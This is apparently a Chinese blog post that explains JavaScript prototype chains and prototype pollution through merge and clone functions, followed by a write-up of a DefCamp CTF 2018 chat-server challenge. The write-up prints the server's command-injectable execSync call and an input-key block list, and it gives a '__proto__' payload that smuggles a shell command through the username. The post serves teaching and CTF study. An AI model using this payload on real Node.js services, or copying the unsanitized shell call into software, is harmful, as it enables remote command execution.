JavaScript Prototype污染攻击(CTF 例题分析)

0x01 先谈谈自己的理解

function a(){}   
var b=new a()
var c = {}

a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__
a.__proto__ != b.__proto__ != c

  • 这个时候 b的__proto__ 指向的就是a.prototype
  • a.prototype__proto__指向的是Object.prototype
  • b的constructor 指向的也是 function a(){}
  • 而a它的__proto__ 指向是Function.prototype现在Function.prototype. constructor指向的是Function(){}
  • 上面的Function(){} 也有 __proto__ 指向 Function.prototype
  • Function.prototype的constructor指向的也是Function(){}
  • Function.prototype__proto__ 同时又指向Object.prototype
  • Object.prototype的 constructor 又是 Object
  • 这个 Object; 的 __proto__ 又 指向的是 Function.prototype
  • Object.prototypet的__proto__ 是null
  • 在补充一下a.constructor指向的是 Function
function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

let son1 = new Son()
son1.__proto__                //object{...}
Son.prototype = new Father()
let son2 = new Son()
son.__proto__ 			  	//Object { first_name: "Donald", last_name: "Trump" }

总的来说prototype相当于其它语言面向对象中的继承父类
在这里插入图片描述


在这里插入图片描述

在这里插入图片描述
图片参考地址

0x02 原型链污染是什么

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)            			    // 1

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1,先查找本身的属性,若没有再层层递进
console.log(foo.bar)		  				    //1

// 此时再用Object创建一个空的zoo对象
let zoo = {}					

// 查看zoo.bar
console.log(zoo.bar)							//2

0x03哪些情况下原型链会被污染?

1.对象`merge`
2.对象`clone`(其实内核就是将待操作的对象merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

我们试试这个代码

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)					// 1,2

o3 = {}
console.log(o3.b)                     //undefined
结果是,合并虽然成功了,但原型链没有被污染:

这是因为,我们用JavaScript创建o2的过程let o2 = {a: 1, "__proto__": {b: 2}}中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。
在这里插入图片描述
那么,如何让__proto__被认为是一个键名呢?
我们将代码改成这样:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)                // 1,2

o3 = {}
console.log(o3.b)						//2

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

0x04 例题分析

我们这儿以DefCamp CTF 2018 上的一道题目为例
大致看了一下,为一个聊天室的node.js代码

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2],
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

客户端的代码比较简单,我们继续跟进server.js的代码

getAscii: function(message) {
    var e = require('child_process');
    return e.execSync("cowsay '" + message + "'").toString();
}

发现一个很明显的命令执行漏洞,我们继续查看哪儿调用这个函数

client.on('join', function(channel) {
    try {
        clientManager.joinChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You joined channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);

        sendMessageToChannel(channel,"Server", 
            helper.getAscii("User " + u + " living in " + c + " joined channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
    try {
        client .join(channel);
        clientManager.leaveChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You left channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);
        sendMessageToChannel(channel, "Server", 
            helper.getAscii("User " + u + " living in " + c + " left channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

所以下一个问题则变成了如何控制变量 uc,即用户输入的 usernamecountry,但问题是不是这么简单呢?当然不是,服务端会对用户的输入做非常严格的校验:

validUser: function(inp) {
    var block = ["source","port","font","country",
                    "location","status","lastname"];
    if(typeof inp !== 'object') {
        return false;
    } 

    var keys = Object.keys(inp);
    for(var i = 0; i< keys.length; i++) {
        key = keys[i];

        if(block.indexOf(key) !== -1) {
            return false;
        }
    }

    var r =/^[a-z0-9]+$/gi;
    if(inp.name === undefined || !r.test(inp.name)) {
        return false;
    }

    return true;
}

我们可以CTRL+F查找有没有让我们可以进行Prototype污染攻击的地方,上文说了一般两个函数(merge,和clone)可以形成攻击环境

function clone(obj) {
    if (typeof obj !== 'object' || obj === null) {
        return obj;
    }

    var newObj;
    var cloneDeep = false;

    if (!Array.isArray(obj)) {
        if (Buffer.isBuffer(obj)) {
            newObj = new Buffer(obj);
        } else if (obj instanceof Date) {
            newObj = new Date(obj.getTime());
        } else if (obj instanceof RegExp) {
            newObj = new RegExp(obj);
        } else {
            var proto = Object.getPrototypeOf(obj);
            if (proto && proto.isImmutable) {
                newObj = obj;
            } else {
                newObj = Object.create(proto);
                cloneDeep = true;
            }
        }
    } else {
        newObj = [];
        cloneDeep = true;
    }

    if (cloneDeep) {
        var keys = Object.getOwnPropertyNames(obj);
        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            var descriptor = Object.getOwnPropertyDescriptor(obj, key);
            if (descriptor && (descriptor.get || descriptor.set)) {
                Object.defineProperty(newObj, key, descriptor);
            } else {
                newObj[key] = clone(obj[key]);
            }
        }
    }
    return newObj;
}

这儿明显clone可以利用,于是我们构造payload:node client.js {"__proto__":{name:213'&&dir&&'5}} 555,第二参数为进入聊天室的名字
在这里插入图片描述
我在windows上复现的,所以使用的dir命令。
在这里插入图片描述
复现成功!

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值